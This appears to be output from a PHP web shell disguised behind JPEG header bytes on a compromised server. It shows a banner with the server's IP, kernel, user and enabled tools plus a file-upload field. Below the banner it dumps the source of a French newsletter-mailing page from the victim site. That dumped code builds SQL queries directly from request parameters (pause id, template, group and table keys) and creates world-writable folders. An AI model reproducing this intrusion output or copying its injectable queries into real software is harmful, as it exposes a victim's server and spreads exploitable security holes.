ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/seo-mailing/tasks/ |
Upload File : |
<script>
jQuery.noConflict()(function($){
$(document).ready(function () {
$('.task_run').click(function() {
var url = '<?php echo $INFO['base_url']?>runtask.php';
var tmp = this.id;
var id = tmp.replace(/[^\d\.]/g, '');
$.get
(
url,"task_run=" + id,function(result)
{
document.location.href="?newsletter";
},
"json"
);
});
});
});
</script>
<?php
set_time_limit(0);
if(isset($_GET['pause'])){
mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."mail_task SET pause = '1' WHERE id = ".$_GET['pause']." LIMIT 1");?>
<script type="application/javascript">
document.location.href="?newsletter";
</script>
<?php }
function compare_dates($date1, $date2)
{
$blocks = array(
array('name'=>'year','amount' => 60*60*24*365 ),
array('name'=>'month','amount' => 60*60*24*31 ),
array('name'=>'week','amount' => 60*60*24*7 ),
array('name'=>'day','amount' => 60*60*24 ),
array('name'=>'hour','amount' => 60*60 ),
array('name'=>'minute','amount' => 60 ),
array('name'=>'second','amount' => 1 )
);
$diff = abs($date1-$date2);
$levels = 2;
$current_level = 1;
$result = array();
foreach($blocks as $block)
{
if ($current_level > $levels) {break;}
if ($diff/$block['amount'] >= 1)
{
$amount = floor($diff/$block['amount']);
if ($amount>1) {$plural='s';} else {$plural='';}
$result[] = $amount.' '.$block['name'].$plural;
$diff -= $amount*$block['amount'];
$current_level++;
}
}
return implode(' ',$result);
}
if(count($_POST) && !isset($_POST['login']) && isset($_POST['group']) && !isset($_POST['table']) && $_SESSION['PERM'][1]['a'] == 1){
$filename = $d_file = '';
$cnt = count($_FILES['file']['name']);
$mime = unserialize($_SESSION['mime']);
$file_attach = unserialize($_SESSION['file_attach']);
if($cnt > 0) {
for($i = 0; $i < $cnt; ++$i) {
$type = end(explode(".",$_FILES['file']['name'][$i]));
if(array_search($type,$mime)){
$file_access = array_search($type,$mime);
}else{
$file_access = -1;
};
if($_FILES['file']['size'][$i]>0){
if(in_array($file_access,$file_attach)){
$filename = $_FILES['file']['name'][$i];
$name_file=$filename;
if (!is_dir('attachments/'.$_SESSION['user']))
{
mkdir("attachments/".$_SESSION['user'], 0777);
}
$name_file = urlencode($name_file);
$file = "attachments/".$_SESSION['user']."/".$name_file;
copy($_FILES['file']['tmp_name'][$i], $file);
$filename = $name_file;
if($cnt > 1) {$d_file .= $filename.";";}else{$d_file .= $filename;}
}
}
}
}
foreach($_POST['group'] as $v){
$group_name = mysqli_fetch_array(mysqli_query($db,"SELECT name FROM ".$INFO['sql_tbl_prefix']."mail_group WHERE id = {$v} LIMIT 1"));
$gg[$v] = $group_name['name'];
}
$group = serialize($gg);
if(isset($_POST['importance'])){$importance = 'high';}else{ $importance= 'normal';}
if(isset($_POST['track_links'])){$track_clicks ='1';}else{$track_clicks='0';}
if(isset($_POST['track_reading'])){$track_reading ='1';}else{$track_reading='0';}
$sending_setting = serialize(array($_SET['timeemail'],$_SET['numberemail'],$_SET['packtimeemail']));
$query =
"INSERT INTO ".$INFO['sql_tbl_prefix']."mail_task (id, id_user, ddate_start, ddate_end, id_template, id_cat, name, message, file, status, importance, id_md5,track_clicks,track_reading,pause,sending_setting,cron_status)
VALUES ('', '".$_SESSION['id']."','".strtotime($_POST['ddate']." ".$_POST['ddate_time'].":00")."', '0', '{$_POST['template']}', '{$group}', '".mysqli_real_escape_string($db,$_POST['title'])."', '".addslashes($_POST['message'])."', '{$d_file}', '0', '{$importance}', '','{$track_clicks}','{$track_reading}','0','{$sending_setting}', '0')";
mysqli_query($db,$query) or exit("insert error" . mysqli_error()."<br>".$query);
$id_task = mysqli_insert_id($db);
mysqli_query($db,"INSERT INTO ".$INFO['sql_tbl_prefix']."system_logs
(id, id_type, id_user, ip, ddate, url, message)
VALUES
('', '3', '{$_SESSION['id']}', '{$ip}','".time()."', '".$_SERVER['REQUEST_URI']."', 'User added new e-newsletter')");
mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."mail_task SET id_md5 = '".md5($id_task)."' WHERE id = ".$id_task." LIMIT 1");
foreach($_POST['group'] as $val_S){
$feature_query = '';
if(isset($_POST['func'])){
$query_feature = "SELECT feature,id FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE feature != '' AND status = 0";
$result_feature = mysqli_query($db,$query_feature) or exit($query_feature."select advice error");
while($user_feature = mysqli_fetch_array($result_feature)){
$fea = unserialize($user_feature['feature']);
foreach($_POST['func'] as $key => $val){
if($_POST['func'][$key]['que'] == "LIKE") {
if(stristr($fea[$key][0],$val['ins'])==true) $id[$key][] = $user_feature['id'];
}
elseif($_POST['func'][$key]['que'] == "NOT LIKE") {
if(stristr($fea[$key][0],$val['ins'])==false) $id[$key][] = $user_feature['id'];
}
elseif($_POST['func'][$key]['que'] == "=") {
if($fea[$key][0] == $val['ins']) $id[$key][] = $user_feature['id'];
}
elseif($_POST['func'][$key]['que'] == "!=") {
if($fea[$key][0] != 0+$val['ins']) $id[$key][] = $user_feature['id'];
}
elseif($_POST['func'][$key]['que'] == "= ''") {
if($fea[$key][0] == '') $id[$key][] = $user_feature['id'];
}
elseif($_POST['func'][$key]['que'] == "!= ''") {
if($fea[$key][0] != '') $id[$key][] = $user_feature['id'];
}
elseif($_POST['func'][$key]['que'] == "<") {
if($fea[$key][0] < 0+$val['ins']) $id[$key][] = $user_feature['id'];
}
elseif($_POST['func'][$key]['que'] == "<=") {
if($fea[$key][0] <= 0+$val['ins']) $id[$key][] = $user_feature['id'];
}
elseif($_POST['func'][$key]['que'] == ">") {
if($fea[$key][0] > 0+$val['ins']) $id[$key][] = $user_feature['id'];
}
elseif($_POST['func'][$key]['que'] == ">=") {
if($fea[$key][0] >= 0+$val['ins']) $id[$key][] = $user_feature['id'];
}
}
}
if(isset($id) && is_array($id) && count($id) > 0){
if(count($id) >1){
$tt = call_user_func_array("array_intersect",$id);
}elseif(count($id)==1){
foreach($id as $v){
foreach($v as $vv){
$tt[]=$vv;
}
}
}
$tt = join(",", $tt);
$feature_query = " AND id IN ({$tt})";
}
}
$query = "SELECT *,
(SELECT name FROM ".$INFO['sql_tbl_prefix']."mail_group WHERE ".$INFO['sql_tbl_prefix']."mail_group.id = $val_S) as name_group
FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE id_cat = {$val_S} AND status = 0 {$feature_query}";
$result = mysqli_query($db,$query) or exit("select advice error");
while($user = mysqli_fetch_array($result)){
if(mysqli_num_rows($us_task = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE id_task = {$id_task} AND id_user = {$user['id']} LIMIT 1")) == 0){
$user_ser = serialize(array($user['id'],$user['name'],$user['email'],$user['name_group']));
$que = "INSERT INTO ".$INFO['sql_tbl_prefix']."mail_task_email (id, id_task, id_avtor, id_user, ddate, status) VALUES ('', '".$id_task."', '{$_SESSION['id']}', '{$user_ser}', '0', '0' )";
mysqli_query($db,$que) or exit("insert error" . mysqli_error()."<br>".$que);
}
}
}
if(isset($_SET['testing_email'])){
$mail = new PHPMailer();
$mail->CharSet = "utf-8";
$mail->SetFrom($_SET['email_from'], $_SET['titlefrom']);
$mail->AddReplyTo($_SET['email_from'],$_SET['titlefrom']);
$mail->AddAddress($_SET['testing_email']);
$mail->Subject = '[FES CREATE] '.$_POST['title'];
$body =str_replace('\"','"',$_POST['message']);
$text_html = $body;
$mail->MsgHTML($text_html);
$mail->Send();
}
?>
<script type="application/javascript">
document.location.href="?newsletter";
</script>
<?php }elseif(isset($_POST['table'])){
foreach($_POST['table'] as $d_key=>$d_val){
$query = "SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_task WHERE id=".$d_key." LIMIT 1";
$result = mysqli_query($db,$query) or exit("select advice error");
$task = mysqli_fetch_array($result);
$query = "SELECT * FROM ".$INFO['sql_tbl_prefix']."user WHERE id=".$task['id_user']." LIMIT 1";
$result = mysqli_query($db,$query) or exit("select advice error");
$user = mysqli_fetch_array($result);
mysqli_query($db,"INSERT INTO ".$INFO['sql_tbl_prefix']."system_logs
(id, id_type, id_user, ip, ddate, url, message)
VALUES
('', '5', '{$_SESSION['id']}', '{$ip}', '".time()."', '".$_SERVER['REQUEST_URI']."', 'User {$_SESSION['user']} remove task - {$task['name']}')");
if(isset($task['file'])){
$file_array = explode(";",$task['file']);
foreach($file_array as $val){
$user_name = strtolower($user['name']);
@unlink("attachments/".$user_name."/".$val);
}
}
$query = "DELETE FROM ".$INFO['sql_tbl_prefix']."mail_task WHERE id=".$d_key." LIMIT 1";
mysqli_query($db,$query) or exit("delet error" . mysqli_error());
$query = "DELETE FROM ".$INFO['sql_tbl_prefix']."statistics WHERE id_task=".$d_key;
mysqli_query($db,$query) or exit("delet error" . mysqli_error());
$query = "DELETE FROM ".$INFO['sql_tbl_prefix']."statistic_open WHERE id_task=".$d_key;
mysqli_query($db,$query) or exit("delet error" . mysqli_error());
$query = "DELETE FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE id_task=".$d_key;
mysqli_query($db,$query) or exit("delet error" . mysqli_error());
}?>
<script type="application/javascript">
document.location.href="?newsletter";
</script>
<?php }
$res = mysqli_query($db,"SELECT count(*) FROM ".$INFO['sql_tbl_prefix']."mail_task WHERE status IN (0,2,7)");
if(mysqli_num_rows($res) > 0){
$count_ok = mysqli_fetch_array($res);
}
?>
<script>
jQuery.noConflict()(function($){
$(document).ready(function () {
$(".cheackall").click(function()
{
var checked_status = this.checked;
for (i=1; i<=<?php echo $count_ok['count(*)']?>; i++){
$('#tab'+i).each(function()
{
this.checked = checked_status;
});
}
});
});
});
</script>
<div class="page-header">
<h1><i class="icon-envelope-alt"></i> <?php echo __('Newsletter');?> <?php if(isset($_SESSION['PERM'][1]['a']) && $_SESSION['PERM'][1]['a'] == 1){?><div class="pull-right btn-group"><a href="" id="form" class="btn btn-primary <?php if(isset($_SESSION['last_update_date']) && $_SESSION['last_update_date'] > 0 && isset($_SESSION['limit']) && $_SESSION['limit'] <= 0){echo 'disabled" disabled="disabled" ';} ?>"><i class="icon-plus-sign icon-white"></i> Création e-Mailing</a></div><?php } ?></h1>
</div>
<?php if($_SET['debug_mode']==1){?>
<div class="alert alert-danger">
<h4><i class="icon-info-sign"></i> <?php echo __('Enable Debug Mode');?></h4>
<?php echo __('Actual mails will not be sent');?>
</div>
<?php } ?>
<?php if(isset($_SESSION['last_update_date']) && $_SESSION['last_update_date'] > 0 && isset($_SESSION['limit']) && $_SESSION['limit'] <= 0){?>
<div class="alert alert-info">
<h4><i class="icon-info-sign"></i> <?php echo __('Information');?></h4>
<?php echo __('Can not send messages. Limit reached.');?>
</div>
<?php }?>
<?php if(isset($_SESSION['PERM'][1]['a']) && $_SESSION['PERM'][1]['a'] == 1){?>
<?php $url_s =explode("/",$_SERVER['SCRIPT_FILENAME']);
$url_file = $url_s[count($url_s)-1];
unset($url_s[count($url_s)-1]);
$url_file = implode("/",$url_s);
if(isset($_SET['text_html']) && $_SET['text_html'] == 'html') {
?>
<?php require_once('tiny_mce/tinymce.php');?>
<script type="text/javascript">
function LoadTempl(str)
{
if (str==0)
{
document.getElementById("message").innerHTML="";
return;
}
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
// tinyMCE.get('message').remove();
document.getElementById("message").innerHTML=xmlhttp.responseText;
//document.getElementById("message").text = xmlhttp.responseText;
//tinyMCE.execCommand('mceAddControl', false, 'message');
var ed = tinyMCE.get('message');
// Do you ajax call here, window.setTimeout fakes ajax call
ed.setProgressState(1); // Show progress
window.setTimeout(function() {
ed.setProgressState(0); // Hide progress
ed.setContent(xmlhttp.responseText);
}, 300);
}
}
xmlhttp.open("GET","settings/get_templ.php?id_templ="+str,true);
xmlhttp.send(null);
}
</script>
<?php } ?>
<div id="form-content" style="display:none">
<form class="form-horizontal" id="add_newsletter" method="post" action="" enctype="multipart/form-data">
<div class="row-fluid">
<div class="span6">
<div class="control-group">
<label class="control-label" for="title"><?php echo __('Subject');?></label>
<div class="controls">
<input type="text" style="width:100%" id="title" name="title" value="" required>
<div id="test"></div>
</div>
</div>
<div class="control-group">
<label class="control-label" for="group"><?php echo __('Group');?> <i class="icon-exclamation-sign" rel="tooltip" title="<?php echo __('In brackets you can see the amount of email address in group');?>"></i></label>
<div class="controls">
<select name="group[]" multiple="multiple" style=" width:100%; height:150px" >
<?php
if($_SESSION['PERM'][3]['v'] == 1){
$where = ' WHERE id_user ='.$_SESSION['id'].'';
}else{
$where = '';
}
$result = mysqli_query($db,"SELECT *,
(SELECT COUNT(*) FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE ".$INFO['sql_tbl_prefix']."mail_user.id_cat = ".$INFO['sql_tbl_prefix']."mail_group.id AND ".$INFO['sql_tbl_prefix']."mail_user.status = 0) as count_user
FROM ".$INFO['sql_tbl_prefix']."mail_group {$where} ORDER by name ");
while($group = mysqli_fetch_array($result)){
if($group['count_user'] > 0){ ?>
<option value="<?php echo $group['id']?>" <?php if(isset($user['id_cat']) && $user['id_cat'] == $group['id']){?> selected<?php }?>>(<?php echo $group['count_user']?>) <?php echo $group['name']?></option>
<?php }?>
<?php } ?>
</select>
</div>
</div>
<?php $result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_user_feature ORDER by name");
if(mysqli_num_rows($result)>0){
while($feature = mysqli_fetch_array($result)){ ?>
<div class="control-group">
<label class="control-label" for="group"><?php echo $feature['name']?></label>
<div class="controls">
<select name="func[<?php echo $feature['id']?>][que]" class="span3">
<option value=""></option>
<option value="LIKE">LIKE</option>
<option value="NOT LIKE">NOT LIKE</option>
<option value="=">=</option>
<option value="!=">!=</option>
<option value="= ''">= ''</option>
<option value="!= ''">!= ''</option>
<option value="=">=</option>
<option value=">">></option>
<option value=">=">>=</option>
<option value="<"><</option>
<option value="<="><=</option>
</select>
<input type="text" class="pull-left span4" name="func[<?php echo $feature['id']?>][ins]" value="">
</div>
</div>
<?php } }?>
</div>
<div class="span6">
<div class="control-group">
<label class="control-label" for="template"><?php echo __('Template');?></label>
<div class="controls">
<select name="template" id="template" onchange="LoadTempl(this.value)" <?php if(isset($_SET['text_html']) && $_SET['text_html'] == 'text') {?> disabled="disabled" <?php } ?>>
<option value="0" <?php if(isset($templates['id_cat']) && $templates['id_cat'] == 0){?> selected<?php }?>>--"--"</option>
<?php $result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."templates ORDER by name ");
while($templates = mysqli_fetch_array($result)){ ?>
<option value="<?php echo $templates['id']?>" <?php if(isset($templates['id_cat']) && $templates['id_cat'] == $templates['id']){?> selected<?php }?>><?php echo $templates['name']?></option>
<?php } ?>
</select>
</div>
</div>
<div class="control-group">
<label class="control-label" for="ddate"><?php echo __('Launch date');?></label>
<div class="controls">
<div class="input-prepend input-append">
<input type="text" name="ddate" id="ddate" style="width: 100px;" value="">
<input type="time" name="ddate_time" style="width:80px" value="<?php echo date("H:i",time())?>" required>
<BUTTON name="s" value="<?php echo __('Date');?>" type="button" id="trigger1" class="btn btn-primary"><span><i class="icon-calendar"></i></span></BUTTON>
</div>
</div>
</div>
<div class="control-group" style="margin-bottom:0px !important">
<label class="control-label" for="importance"><i class="icon-lightbulb"></i> <?php echo __('High Importance');?></label>
<div class="controls">
<div class="switch switch-small" tabindex="0">
<input type="checkbox" name="importance">
</div>
</div>
</div>
<div class="control-group" style="margin-bottom:0px !important">
<label class="control-label" for="track_links"><?php echo __('Track clicks on links');?></label>
<div class="controls">
<div class="switch switch-small" tabindex="0">
<input type="checkbox" name="track_links" checked="checked">
</div>
</div>
</div>
<div class="control-group">
<label class="control-label" for="track_reading"><?php echo __('Track reading');?></label>
<div class="controls">
<div class="switch switch-small" tabindex="0">
<input type="checkbox" name="track_reading" checked="checked">
</div>
</div>
</div>
</div>
</div>
<div class="control-group" style="margin-bottom:0px">
<label class="control-label"><?php echo __('Shortcodes');?></label>
<?php if(isset($_SET['text_html']) && $_SET['text_html'] == 'html') {
$result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."shortcodes WHERE id NOT IN (4,5,6,7,8) ORDER by system,shortcode");
if(mysqli_num_rows($result)>0){?>
<div class="controls alert alert-success">
<?php while($sh = mysqli_fetch_array($result)){
?>
<a class="label label-inverse" title="<?php echo $sh['tooltip']?>" onclick="tinyMCE.execCommand('mceInsertContent',false,'{<?php echo $sh['shortcode']?>}');">{<?php echo $sh['shortcode']?>}</a>
<?php } ?>
</div>
<?php }}?>
</div>
<div class="control-group">
<label class="control-label" for="message"><?php echo __('Message');?></label>
<div class="controls">
<textarea rows="7" id="message" style="width:97%" class="advanced" name="message"></textarea>
</div>
</div>
<!--
<div class="control-group">
<label class="control-label" for="file"><?php echo __('Files');?></label>
<div class="controls">
<input type="file" class="input-xlarge" id="file" name="file[]" multiple value="Add files">
</div>
</div>
-->
<div class="form-actions">
<div class="btn-group">
<button type="submit" class="btn btn-success"><i class="icon-ok"></i> <?php echo __('Create');?></button>
<?php if($_SET['testing_email_enable'] == 1 && isset($_SET['testing_email'])){?>
<a href="#" onclick="return false;" id="testMail" class="btn btn-primary"><i class="icon-envelope"></i> <?php echo __('Send test email');?></a>
<?php } ?>
<a href="#preview" id="btn_prev" role="button" data-toggle="modal" class="btn btn-primary"><i class="icon-eye-open"></i> <?php echo __('Preview');?></a>
</div>
</div>
</form>
</div>
<?php } ?>
<?php if(isset($_SESSION['PERM'][1]['v']) && $_SESSION['PERM'][1]['v'] == 1){
$where = " AND id_user = ".$_SESSION['id'];
}else{
$where = "";
}
$query = "SELECT *,
(SELECT ulimit FROM ".$INFO['sql_tbl_prefix']."user WHERE ".$INFO['sql_tbl_prefix']."user.limit_day > 0 AND ".$INFO['sql_tbl_prefix']."user.id = ".$INFO['sql_tbl_prefix']."mail_task.id_user) as ulimit
FROM ".$INFO['sql_tbl_prefix']."mail_task WHERE (status = 0 OR status = 2 OR status = 7) {$where} ORDER by ddate_start ASC";
$result = mysqli_query($db,$query);
if(mysqli_num_rows($result) > 0){?>
<div class="row-fluid">
<form action="" method="post">
<table class="table table-bordered table-striped">
<thead>
<tr>
<th class="span1">##</th>
<th class="span1"><input type="checkbox" class="cheackall"/></th>
<th class="span1"><?php echo __('Status');?></th>
<th class="span1"><?php echo __('Date Start');?></th>
<th class="span1"><?php echo __('Last sent');?></th>
<th class="span3"><?php echo __('Process');?></th>
<th class="span2"><?php echo __('Group');?></th>
<th class="span2"><?php echo __('User');?></th>
<th><?php echo __('Subject');?></th>
<!--
<th class="span1"><?php echo __('Files');?></th>
-->
<th class="span1"><?php echo __('Options');?></th>
</tr>
</thead>
<tbody>
<?php $ii = 1;
while($task = mysqli_fetch_array($result)){ ?>
<tr class="font11">
<td><?php echo $task['id']?></td>
<td><input type="checkbox" id="tab<?php echo $ii++;?>" name="table[<?php echo $task['id']?>]"></td>
<td><?php if($task['status'] == 2 && $task['ddate_start'] < time() && isset($task['ulimit'])){
echo "<span class='label label-info'>".__('Sending')."</span>";
}else{
echo "<span class='label label-warning'>".__('Do not send')."</span>";
}
if($task['pid']>0){
echo "<span class='label label-info'>".__('Autoresponder')."</span>";
}
if($task['pause'] == 1){
echo "<span class='label label-info'>".__('Pause')."</span>";
}
?>
</td>
<td class="font11"><?php echo date("d.m.Y H:i",$task['ddate_start'])?></td>
<td id="last<?php echo $task['id']?>"><?php
$last = mysqli_fetch_array(mysqli_query($db,"SELECT ddate FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE id_task = {$task['id']} AND status = 1 ORDER by ddate DESC LIMIT 1"));
if($last['ddate']>0){echo date("d.m.Y H:i",$last['ddate']);}else{ echo "---";}
?></td>
<td>
<script>
jQuery.noConflict()(function($){
$(function() {
getMessages<?php echo $task['id']?> = function() {
$.get('tasks/progress.php?id=' + <?php echo $task['id']?>, function(result,status){
if(result){
$('#result<?php echo $task['id']?>').html(result.data.progress);
$('#last<?php echo $task['id']?>').html(result.data.last_send);
$('#lim<?php echo $task['id']?>').html(result.data.limit);
$('#footer_limit').html(result.data.limit_footer);
}
setTimeout(function(){
getMessages<?php echo $task['id']?>();
},2000);
},"json"
);
}
getMessages<?php echo $task['id']?>();
});
});
</script>
<?php
$pr = mysqli_fetch_array(mysqli_query($db,"SELECT count(*) FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE id_task = {$task['id']} AND status = 1"));
$proc_ready = $pr['count(*)'];
$pr = mysqli_fetch_array(mysqli_query($db,"SELECT count(*) FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE id_task = {$task['id']}"));
$proc_dready = $pr['count(*)'];
if($proc_ready == 0 || $proc_dready == 0){
$proc = 0;
}else{
$proc = round(($proc_ready*100)/$proc_dready);
}
?>
<?php if($proc_ready == 0){
if($task['pid'] == 0){
echo '<span class="label">'.__('Sending has not started')."</span>";
}else{
echo "<span class='label'>#<a href='?autoresponders' style='color:#fff' target='_blank'>".$task['pid']."</a> ".__('Autoresponder has not started')."</span>
<br>".date("D",$task['ddate_start']);
}?>
<?php }else{?>
<div class="progress progress-striped active" style="background:#999; margin-bottom:0" id="result<?php echo $task['id']?>">
<?php echo "<div class=\"bar\" style=\"width:{$proc}%;\">{$proc_ready}/{$proc_dready} ({$proc}%)</div>"; ?>
</div>
<?php }?>
<?php if($task['ddate_start'] < time() && ($task['ulimit'] <= 0 && isset($task['ulimit']))){?>
<span class="label label-important"><?php echo __('After increasing the limit')?></span>
<?php } ?>
</td>
<td><?php $group_array = unserialize($task['id_cat']);
echo "<ul class='unstyled'>";
foreach($group_array as $key => $val){
if($task['pid'] > 0){
$group = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_group WHERE id = {$val} LIMIT 1");
}else{
$group = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_group WHERE id = {$key} LIMIT 1");
}
if(mysqli_num_rows($group) == 0){
echo "<li><span class='label label-important'><s>".$val."</s></span></li>";
}else{
if($task['pid'] > 0){
$gr_name = mysqli_fetch_array($group);
$val = $gr_name['name'];
}
echo "<li><span class='label label-success'>".$val."</span></li>";
}
}
echo "</ul>";
?></td>
<td><?php $user_name = mysqli_fetch_array(mysqli_query($db,"SELECT name,ulimit,limit_day FROM ".$INFO['sql_tbl_prefix']."user WHERE id = {$task['id_user']} LIMIT 1"));
echo $user_name['name'] ." <span id='lim".$task['id']."'>(".$user_name['ulimit'].'/'.$user_name['limit_day'].")</span>";?></td>
<td><a href="?task=<?php echo $task['id']?>"><?php echo $task['name']?></a></td>
<!--
<td><?php if(strlen($task['file'])>3){ ?>
<a href="#" class="btn" rel="popover" data-original-title="<?php echo __('Files list');?>" data-placement="left" data-content="<?php if(strstr($task['file'],';')){
$fi = explode(";", $task['file']);
foreach($fi as $v){
if(strlen($v)>0){
?>
<?php echo $v?>
<?php }
}
}else{?>
<?php echo $task['file']?>
<?php } ?>"><?php echo __('Files');?></a>
<?php }else{
echo "<span class='label'>".__('No attachments')."</span>";
}
?>
</td>
-->
<td><div class="btn-group">
<?php if($task['pid'] == 0){?>
<a href="?newsletter&pause=<?php echo $task['id']?>" class="btn btn-small btn-primary<?php if($task['status']!=2 || $task['pause'] == 1){?> disabled" disabled="disabled" onClick="return false;"<?php }else{ echo '"'; }?>><i class="icon-pause"></i></a>
<a href="#" id="task_run<?php echo $task['id']?>" title="<?php echo __('Run task');?>" class="task_run btn btn-small btn-primary<?php if(($task['pause'] == 0) && ($task['status'] == 2 || $task['status'] == 7)){?> disabled" disabled="disabled" onClick="return false;"<?php }else{ echo '"'; }?>><i class="icon-play"></i></a>
<?php }?>
<?php if($_SESSION['PERM'][1]['r'] == 1){?>
<a href="?task_del=<?php echo $task['id']?>" onClick="return confirm('<?php echo __('Remove?');?>');" class="btn btn-small btn-primary"><i class="icon-remove-sign"></i></a>
<?php } ?>
</div>
</td>
</tr>
<?php }?>
</tbody>
<tfoot>
<tr>
<td colspan="3" class="span3"><button type="submit" class="btn btn-small btn-primary" onclick="return confirm('<?php echo __('Remove')?>?');"><i class="icon-remove-sign"></i> <?php echo __('Delete Selected');?></button></td>
<td colspan="8"></td>
</tr>
</tfoot>
</table>
</form>
</div>
<?php }else{ ?>
<div class="alert alert-info">
<h4><i class="icon-info-sign"></i> <?php echo __('Information');?></h4>
<?php echo __('Currently, no one e-newletter is not sent');?>
</div>
<?php }?>
<!-- Modal -->
<div id="preview" class="modal hide fade" style="width:1000px; margin-left:-477px" tabindex="-1">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
<h3 id="previewHeader"></h3>
</div>
<div class="modal-body" id="modalbody">
</div>
</div>
<?php if($_SET['debug_mode'] == 1){ $deb = "Actif"; } else { $deb = "Non actif"; } ?>
<div class="row" style="width:100%; margin-left:0">
<br />
<div class="">
<div class="panel panel-primary">
<br />
<table class="table table-bordered table-hover font11">
<tr>
<th class="col-md-6">Nom de l'entreprise</th>
<td>
<span class='label label-info'>
<?php echo $_SET['titlefrom']?>
</span>
</td>
</tr>
<tr>
<th class="col-md-6">Mode débugage</th>
<td><span class='label label-info'><?php echo $deb ?></span></td>
</tr>
<tr>
<th class="col-md-6">Utilisateur connecté</th>
<td><span class='label label-info'><?php echo $_SESSION['group'] ?> : <?php echo $_SESSION['user'] ?></span></td>
</tr>
<tr>
<th class="col-md-6">Adresse e-mail expéditeur</th>
<td><span class='label label-info'><?php if(filter_var(trim($_SET['email_from']), FILTER_VALIDATE_EMAIL)){echo $_SET['email_from'];}else{echo $INFO['email_from'];}?></span></td>
</tr>
<tr>
<th class="col-md-6">Méthode de distribution des emails</th>
<td>
<span class='label label-success'>
<?php if($_SET['mail_method'] == 'mail'){ echo'PHP Mail()'; } ?>
<?php if($_SET['mail_method'] == 'smtp'){ echo'SMTP via : ' . $_SET['smtp_user'];} ?>
</span>
</td>
</tr>
</table>
</div>
</div>